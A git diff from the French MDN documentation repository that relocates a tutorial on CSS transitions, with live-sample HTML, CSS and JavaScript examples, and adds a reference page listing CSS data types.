+  background-color: #fff;
+}
+ + + +

Ainsi, lorsque la souris survole l'élément, la couleur du texte et de l'arrière-plan change.

+ +

{{EmbedLiveSample("Utiliser_les_transitions_pour_accentuer_les_éléments_pour_un_menu","300","300")}}

+ +

Exemples avec JavaScript

+ +

Utiliser les transitions CSS pour lisser les transformations avec JavaScript

+ +

Les transitions permettent de lisser les opérations effectuées avec JavaScript. Par exemple :

+ +
<p>Click anywhere to move the ball</p>
+<div id="foo"></div>
+
+ +

Avec JavaScript on peut ajouter un effet de mouvement sur la balle :

+ +
var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.transform = 'translateY('+(ev.clientY-25)+'px)';
+    f.style.transform += 'translateX('+(ev.clientX-25)+'px)';
+},false);
+
+ +

Avec CSS, il suffit d'ajouter une transition à l'élément et chaque modification sera appliquée de façon régulière :

+ +
p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition: transform 1s;
+}
+
+ +

{{JSFiddleEmbed("https://jsfiddle.net/9h261pzo/291/")}}

+ +

Détecter le début et la fin d'une transition

+ +

L'évènement {{event("transitionend")}} est déclenché lorsqu'une transition est terminée. C'est un objet {{domxref("TransitionEvent")}} qui possède deux propriétés supplémentaires qu'un {{domxref("Event")}} :

+ +
+
propertyName
+
Une chaîne de caractères qui indique le nom de la propriété CSS pour laquelle la transition est terminée.
+
elapsedTime
+
Un nombre flottant qui indique le nombre de secondes durant lesquelles la transition s'est déroulée. Cette valeur n'est pas modifiée par la valeur de {{cssxref("transition-delay")}}.
+
+ +

Comme pour les différents évènements, on pourra utiliser {{domxref("eventtarget.addEventListener()")}}) pour « écouter » cet événement :

+ +
el.addEventListener("transitionend", updateTransition, true);
+
+ +

Pour détecter le début d'une transition, on pourra utiliser l'évènement {{event("transitionrun")}} qui est déclenché avant tout retardement et l'évènement {{event("transitionstart")}} qui est déclenché après tout retardement :

+ +
el.addEventListener("transitionrun", signalStart, true);
+el.addEventListener("transitionstart", signalStart, true);
+ +
Note : L'événement transitionend n'est pas déclenché si la transition est interrompue avant la fin de la transition si {{cssxref("display")}}: none ou si la valeur de la propriété est modifiée.
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Transitions', '', '')}}{{Spec2('CSS3 Transitions')}}Définition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html b/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html deleted file mode 100644 index bbcdcb51e2..0000000000 --- a/files/fr/web/css/css_transitions/utiliser_transitions_css/index.html +++ /dev/null @@ -1,1094 +0,0 @@ ---- -title: Utiliser les transitions CSS -slug: Web/CSS/CSS_Transitions/Utiliser_transitions_CSS -tags: - - Avancé - - CSS - - Guide - - Transitions -translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions ---- -
{{CSSref}}
- -

Les transitions CSS permettent de contrôler la vitesse d'animation lorsque les propriétés CSS sont modifiées. Plutôt que le changement soit immédiat, on peut l'étaler sur une certaine période. Ainsi, si on souhaite passer un élément de blanc à noir, on pourra utiliser les transitions CSS afin que cette modification soit effectuée progressivement, selon une courbe d'accélération donnée.

- -

Les animations qui utilisent des transitions entre deux états sont souvent appelées transitions implicites car l'état initial et l'état final sont définis implicitement par le navigateur.

- -

A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.

- -

Les transitions CSS vous permettent de choisir :

- -
    -
  • les propriétés à animer en les listant explicitement
    • -
  • le début de l'animation
    • -
  • la durée de l'animation
    • -
  • la façon dont la transition s'exécutera
    • -
- -

Quelles sont les propriétés CSS qui peuvent être animées ?

- -

On peut définir les propriétés qu'on souhaite animer et la façon dont on souhaite les animer. Cela permet de créer des transitions complexes. Toutefois, toutes les propriétés ne peuvent pas être animées et la liste des propriétés concernées est limitée.

- -

Note : La gestion de la valeur auto représente un cas complexe. La spécification requiert de ne pas animer une telle valeur. Certains navigateurs dont ceux basés sur Gecko respectent cette règle mais d'autres comme WebKit sont moins stricts. Attention donc lors de l'utilisation des animations avec auto.

- -

Note : Attention lorsqu'on manipule des transitions directement après avoir ajouté un élément via .appendChild() ou en modiant display: none;. Cela sera compris comme si l'état initial n'avait jamais eu lieu et que l'élément avait toujours été dans son état final. Pour contourner ce problème, on peut appliquer window.setTimeout() pendant quelques millisecondes avant de modifier la propriété CSS sur laquelle on souhaite appliquer une transition.

- -

Les propriétés CSS relatives aux transitions

- -

Les transitions CSS sont généralement contrôlées grâce à la propriété raccourcie {{cssxref("transition")}}. Les différents composants d'une transition CSS peuvent être décrits dans le détail grâce aux propriétés détaillées suivantes :

- -
-

Note : Dans les exemples ci-après, l'effet de répétition est uniquement utilisé à des fins de visualisation. Si vous souhaitez obtenir des effets visuels qui se répètent, il faudra utiliser la propriété {{cssxref("animation")}}.

-
- -
-
{{cssxref("transition-property")}}
-
Cette propriété définit le nom des propriétés CSS pour lesquelles on veut appliquer des transitions. Seules les propriétés listées ici seront sujettes aux transitions. Les modifications appliquées aux autres propriétés seront instantanées.
-
{{cssxref("transition-duration")}}
-
Cette propriété définit la durée de la transition. On peut définir une durée pour toutes les transitions ou une durée pour chacuune des propriétés. -
-
-

transition-duration: 0.5s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position:absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 0.5s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 0.5s;
-    transition-timing-function: ease-in-out;
-}
-.box1{
-    transform: rotate(270deg);
-    -webkit-transform: rotate(270deg);
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 0.5s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transformv color;
-    transition-duration: 0.5s;
-    transition-timing-function: ease-in-out;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("duration_0_5s", 275, 150)}}
-
- -
-

transition-duration: 1s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
-    -webkit-transition-duration: 1s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform color;
-    transition-duration: 1s;
-    transition-timing-function: ease-in-out;
-}
-.box1{
-    transform: rotate(270deg);
-    -webkit-transform: rotate(270deg);
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
-    -webkit-transition-duration: 1s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 1s;
-    transition-timing-function: ease-in-out;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("duration_1s",275,150)}}
-
- -
-

transition-duration: 2s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 2s;
-    transition-timing-function: ease-in-out;
-}
-.box1{
-    transform: rotate(270deg);
-    -webkit-transform: rotate(270deg);
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 2s;
-    transition-timing-function: ease-in-out;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("duration_2s",275,150)}}
-
- -
-

transition-duration: 4s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 4s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 4s;
-    transition-timing-function: ease-in-out;
-}
-.box1{
-    transform: rotate(270deg);
-    -webkit-transform: rotate(270deg);
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
-    -webkit-transition-duration: 4s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top transform -webkit-transform color;
-    transition-duration: 4s;
-    transition-timing-function: ease-in-out;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("duration_4s",275,150)}}
-
-
-
-
{{cssxref("transition-timing-function")}}
-
Cette propriété définit une fonction qui décrit la façon dont les valeurs intermédiaires sont calculées. On utilise pour cela des fonctions de temporisation. -
-
-

transition-timing-function: ease

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: ease;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: ease;
-}
-.box1{
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position:absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: ease;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: ease;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("ttf_ease",275,150)}}
-
- -
-

transition-timing-function: linear

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: linear;
-}
-.box1{
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top:25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: linear;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("ttf_linear",275,150)}}
-
- -
-

transition-timing-function: step-end

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: step-end;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: step-end;
-}
-.box1{
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top:25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: step-end;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: step-end;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("ttf_stepend",275,150)}}
-
- -
-

transition-timing-function: steps(4, end)

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent { width: 250px; height:125px;}
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: steps(4, end);
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: steps(4, end);
-}
-.box1{
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-timing-function: steps(4, end);
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-timing-function: steps(4, end);
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("ttf_step4end",275,150)}}
-
-
-
-
{{cssxref("transition-delay")}}
-
Cette propriété indique le temps à attendre entre le moment où la propriété est modifiée et le début de la transition. -
-
-

transition-delay: 0.5s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent {
-    width: 250px;
-    height: 125px;
-}
-
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 0.5s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 0.5s;
-    transition-timing-function: linear;
-}
-
-.box1 {
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top:25px;
-    position: absolute;
-     -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 0.5s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 0.5s;
-    transition-timing-function: linear;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("delay_0_5s",275,150)}}
-
- -
-

transition-delay: 1s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent {
-    width: 250px;
-    height: 125px;
-}
-
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-     -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 1s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 1s;
-    transition-timing-function: linear;
-}
-
-.box1{
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 1s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 1s;
-    transition-timing-function: linear;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("delay_1s",275,150)}}
-
- -
-

transition-delay: 2s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent {
-    width: 250px;
-    height: 125px;
-}
-
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 2s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 2s;
-    transition-timing-function: linear;
-}
-
-.box1 {
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 2s;
-    -webkit-transition-timing-function: linear;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 2s;
-    transition-timing-function: linear;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("delay_2s",275,150)}}
-
- -
-

transition-delay: 4s

- -
- 
 <div class="parent">
-  <div class="box">Lorem</div>
-</div>
-
- - 
.parent {
-    width: 250px;
-    height: 125px;
-}
-
-.box {
-    width: 100px;
-    height: 100px;
-    background-color: red;
-    font-size: 20px;
-    left: 0px;
-    top: 0px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 4s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 4s;
-    transition-timing-function: ease-in-out;
-}
-
-.box1 {
-    width: 50px;
-    height: 50px;
-    background-color: blue;
-    color: yellow;
-    font-size: 18px;
-    left: 150px;
-    top: 25px;
-    position: absolute;
-    -webkit-transition-property: width height background-color font-size left top color;
-    -webkit-transition-duration: 2s;
-    -webkit-transition-delay: 4s;
-    -webkit-transition-timing-function: ease-in-out;
-    transition-property: width height background-color font-size left top color;
-    transition-duration: 2s;
-    transition-delay: 4s;
-    transition-timing-function: ease-in-out;
-}
-
- - 
function updateTransition() {
-  var el = document.querySelector("div.box");
-
-  if (el) {
-    el.className = "box1";
-  } else {
-    el = document.querySelector("div.box1");
-    el.className = "box";
-  }
-
-  return el;
-}
-
-var intervalID = window.setInterval(updateTransition, 7000);
-
-
- -
{{EmbedLiveSample("delay_4s",275,150)}}
-
-
-
-
- -

La syntaxe de la propriété raccourcie {{cssxref("transition")}} est :

- -
div {
-  transition: <property> <duration> <timing-function> <delay>;
-}
- -

Exemples

- -

Un exemple simple

- -

Avec cette feuille de style, on opère une transition CSS sur la taille de police de quatre secondes après deux secondes écoulées lorsque l'utilisateur passe la souris sur l'élément :

- -
#delay {
-  font-size: 14px;
-  transition-property: font-size;
-  transition-duration: 4s;
-  transition-delay: 2s;
-}
-
-#delay:hover {
-  font-size: 36px;
-}
- -

Appliquer une transition sur plusieurs propriétés

- -

CSS

- -
.box {
-  border-style: solid;
-  border-width: 1px;
-  display: block;
-  width: 100px;
-  height: 100px;
-  background-color: #0000FF;
-  transition: width 2s, height 2s, background-color 2s, transform 2s;
-}
-
-.box:hover {
-  background-color: #FFCCCC;
-  width: 200px;
-  height: 200px;
-  transform: rotate(180deg);
-}
-
- -

HTML

- -
<p>Cette boîte utilisera des transitions pour width, height, background-color, transform.
-   Survolez cette boîte pour voir l'effet.</p>
-<div class="box"></div>
-
- -

Résultat

- -

{{EmbedLiveSample('Appliquer_une_transition_sur_plusieurs_propriétés', 600, 300)}}

- -

Le rôle de la taille des listes de valeurs

- -

Si la liste des valeurs pour une propriété est plus courte qu'une autre, les valeurs de la liste la plus courte seront répétées pour que la longueur réelle corresponde. Ainsi :

- -
div {
-  transition-property: opacity, left, top, height;
-  transition-duration: 3s, 5s;
-}
-
- -

Sera équivalent à :

- -
div {
-  transition-property: opacity, left, top, height;
-  transition-duration: 3s, 5s, 3s, 5s;
-}
- -

De même, si la liste est trop longue par rapport à {{cssxref("transition-property")}}, elle sera tronquée. Ainsi,

- -
div {
- transition-property: opacity, left;
- transition-duration: 3s, 5s, 2s, 1s;
-}
- -

Sera équivalent à :

- -
div {
-  transition-property: opacity, left;
-  transition-duration: 3s, 5s;
-}
- -

Utiliser les transitions pour accentuer les éléments pour un menu

- -

On utilise parfois CSS pour mettre en avant les éléments d'un menu lorsque l'utilisateur les survole avec sa souris. On peut facilement utiliser les transitions CSS pour améliorer l'effet obtenu.

- -

Tout d'abord, on définit le menu en HTML :

- -
<nav>
-  <a href="#">Accueil</a>
-  <a href="#">À propos</a>
-  <a href="#">Contact</a>
-  <a href="#">Liens</a>
-</nav>
-
- -

On construit le CSS pour définir l'apparence du menu :

- -
a {
-  color: #fff;
-  background-color: #333;
-  transition: all 1s ease-out;
-}
-
-a:hover,
-a:focus {
-  color: #333;
-  background-color: #fff;
-}
- - - -

Ainsi, lorsque la souris survole l'élément, la couleur du texte et de l'arrière-plan change.

- -

{{EmbedLiveSample("Utiliser_les_transitions_pour_accentuer_les_éléments_pour_un_menu","300","300")}}

- -

Exemples avec JavaScript

- -

Utiliser les transitions CSS pour lisser les transformations avec JavaScript

- -

Les transitions permettent de lisser les opérations effectuées avec JavaScript. Par exemple :

- -
<p>Click anywhere to move the ball</p>
-<div id="foo"></div>
-
- -

Avec JavaScript on peut ajouter un effet de mouvement sur la balle :

- -
var f = document.getElementById('foo');
-document.addEventListener('click', function(ev){
-    f.style.transform = 'translateY('+(ev.clientY-25)+'px)';
-    f.style.transform += 'translateX('+(ev.clientX-25)+'px)';
-},false);
-
- -

Avec CSS, il suffit d'ajouter une transition à l'élément et chaque modification sera appliquée de façon régulière :

- -
p {
-  padding-left: 60px;
-}
-
-#foo {
-  border-radius: 50px;
-  width: 50px;
-  height: 50px;
-  background: #c00;
-  position: absolute;
-  top: 0;
-  left: 0;
-  transition: transform 1s;
-}
-
- -

{{JSFiddleEmbed("https://jsfiddle.net/9h261pzo/291/")}}

- -

Détecter le début et la fin d'une transition

- -

L'évènement {{event("transitionend")}} est déclenché lorsqu'une transition est terminée. C'est un objet {{domxref("TransitionEvent")}} qui possède deux propriétés supplémentaires qu'un {{domxref("Event")}} :

- -
-
propertyName
-
Une chaîne de caractères qui indique le nom de la propriété CSS pour laquelle la transition est terminée.
-
elapsedTime
-
Un nombre flottant qui indique le nombre de secondes durant lesquelles la transition s'est déroulée. Cette valeur n'est pas modifiée par la valeur de {{cssxref("transition-delay")}}.
-
- -

Comme pour les différents évènements, on pourra utiliser {{domxref("eventtarget.addEventListener()")}}) pour « écouter » cet événement :

- -
el.addEventListener("transitionend", updateTransition, true);
-
- -

Pour détecter le début d'une transition, on pourra utiliser l'évènement {{event("transitionrun")}} qui est déclenché avant tout retardement et l'évènement {{event("transitionstart")}} qui est déclenché après tout retardement :

- -
el.addEventListener("transitionrun", signalStart, true);
-el.addEventListener("transitionstart", signalStart, true);
- -
Note : L'événement transitionend n'est pas déclenché si la transition est interrompue avant la fin de la transition si {{cssxref("display")}}: none ou si la valeur de la propriété est modifiée.
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Transitions', '', '')}}{{Spec2('CSS3 Transitions')}}Définition initiale.
- -

Voir aussi

- - diff --git a/files/fr/web/css/css_types/index.html b/files/fr/web/css/css_types/index.html new file mode 100644 index 0000000000..28f95eeef4 --- /dev/null +++ b/files/fr/web/css/css_types/index.html @@ -0,0 +1,102 @@ +--- +title: Types CSS +slug: Web/CSS/Types_CSS +tags: + - Aperçu + - CSS + - CSS Data Type + - Reference + - Type +translation_of: Web/CSS/CSS_Types +--- +
{{CSSRef}}
+ +

Le module CSS basic data types définit les différents types de données CSS qui permettent de définir les types de valeurs (mots-clés et unités) acceptées par les différentes propriétés et fonctions. Lorsqu'on utilise une notation formelle, les types de données sont représentés par un mot-clé entre chevrons (< >).

+ +
+

Note : Les types de donnée CSS sont un type spécial de composant de type de valeur.

+
+ +

Référence

+ +
+
    +
  • {{cssxref("<angle>")}}
    • +
  • {{cssxref("<angle-percentage>")}}
    • +
  • {{cssxref("<angular-color-hint>")}}
    • +
  • {{cssxref("<angular-color-stop>")}}
    • +
  • {{cssxref("<attr-fallback>")}}
    • +
  • {{cssxref("<attr-name>")}}
    • +
  • {{cssxref("<basic-shape>")}}
    • +
  • {{cssxref("<blend-mode>")}}
    • +
  • {{cssxref("<calc-product>")}}
    • +
  • {{cssxref("<calc-sum>")}}
    • +
  • {{cssxref("<calc-value>")}}
    • +
  • {{cssxref("<color>")}}
    • +
  • {{cssxref("<color-stop>")}}
    • +
  • {{cssxref("<color-stop-angle>")}}
    • +
  • {{cssxref("<counter-style>")}}
    • +
  • {{cssxref("<custom-ident>")}}
    • +
  • {{cssxref("<dimension>")}}
    • +
  • {{cssxref("<filter-function>")}}
    • +
  • {{cssxref("<flex>")}}
    • +
  • {{cssxref("<frequency>")}}
    • +
  • {{cssxref("<frequency-percentage>")}}
    • +
  • {{cssxref("<gradient>")}}
    • +
  • {{cssxref("<ident>")}}
    • +
  • {{cssxref("<image>")}}
    • +
  • {{cssxref("<integer>")}}
    • +
  • {{cssxref("<length>")}}
    • +
  • {{cssxref("<length-percentage>")}}
    • +
  • {{cssxref("<number>")}}
    • +
  • {{cssxref("<number-percentage>")}}
    • +
  • {{cssxref("<percentage>")}}
    • +
  • {{cssxref("<position>")}}
    • +
  • {{cssxref("<quote>")}}
    • +
  • {{cssxref("<ratio>")}}
    • +
  • {{cssxref("<resolution>")}}
    • +
  • {{cssxref("<shape-box>")}}
    • +
  • {{cssxref("<shape-radius>")}}
    • +
  • {{cssxref("<string>")}}
    • +
  • {{cssxref("<time>")}}
    • +
  • {{cssxref("<time-percentage>")}}
    • +
  • {{cssxref("<timing-function>")}}
    • +
  • {{cssxref("<toggle-value>")}}
    • +
  • {{cssxref("<transform-function>")}}
    • +
  • {{cssxref("<type-or-unit>")}}
    • +
  • {{cssxref("<url>")}}
    • +
  • {{cssxref("<url-modifier>")}}
    • +
  • {{cssxref("<zero>")}}
    • +
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Values')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values')}}{{Spec2('CSS3 Values')}}Définition initiale.
+ +

Voir aussi

